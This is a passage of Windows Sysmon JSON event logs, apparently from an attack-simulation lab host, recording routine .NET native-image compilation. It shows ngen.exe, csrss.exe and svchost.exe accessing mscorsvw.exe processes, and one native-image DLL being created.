12:02:01.932\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42B9-5F2D-0000-00105F160D00}\r\nTargetProcessId: 3416\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:01.932","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42B9-5F2D-0000-00105F160D00}","TargetProcessId":"3416","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7343,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:01.932\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42B9-5F2D-0000-00105F160D00}\r\nTargetProcessId: 3416\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:01.932","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42B9-5F2D-0000-00105F160D00}","TargetProcessId":"3416","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7344,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:01.947\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42B9-5F2D-0000-00105F160D00}\r\nTargetProcessId: 3416\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:01.947","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42B9-5F2D-0000-00105F160D00}","TargetProcessId":"3416","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":7345,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:02:01.994\r\nProcessGuid: {90617006-42B9-5F2D-0000-00105F160D00}\r\nProcessId: 3416\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\d58-0\\PresentationFramework-SystemData.dll\r\nCreationUtcTime: 2020-08-07 12:02:01.994","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:02:01.994","ProcessGuid":"{90617006-42B9-5F2D-0000-00105F160D00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\d58-0\\PresentationFramework-SystemData.dll","CreationUtcTime":"2020-08-07 12:02:01.994","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7346,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:02.025\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42BA-5F2D-0000-0010931A0D00}\r\nTargetProcessId: 3940\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:02.025","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42BA-5F2D-0000-0010931A0D00}","TargetProcessId":"3940","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7347,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:02.025\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42BA-5F2D-0000-0010931A0D00}\r\nTargetProcessId: 3940\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:02.025","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42BA-5F2D-0000-0010931A0D00}","TargetProcessId":"3940","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7348,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:02.025\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42BA-5F2D-0000-0010931A0D00}\r\nTargetProcessId: 3940\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:02.025","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-42BA-5F2D-0000-0010931A0D00}","TargetProcessId":"3940","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7349,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:02.104\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42BA-5F2D-0000-0010111E0D00}\r\nTargetProcessId: 3836\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:02.104","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42BA-5F2D-0000-0010111E0D00}","TargetProcessId":"3836","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7350,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:02.104\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42BA-5F2D-0000-0010111E0D00}\r\nTargetProcessId: 3836\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:02:02.104","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42BA-5F2D-0000-0010111E0D00}","TargetProcessId":"3836","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:02:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:02:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":7351,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:02:02.119\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-42BA-5F2D-0000-0010111E0D00}\r\nTargetProcessId: 3836\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: 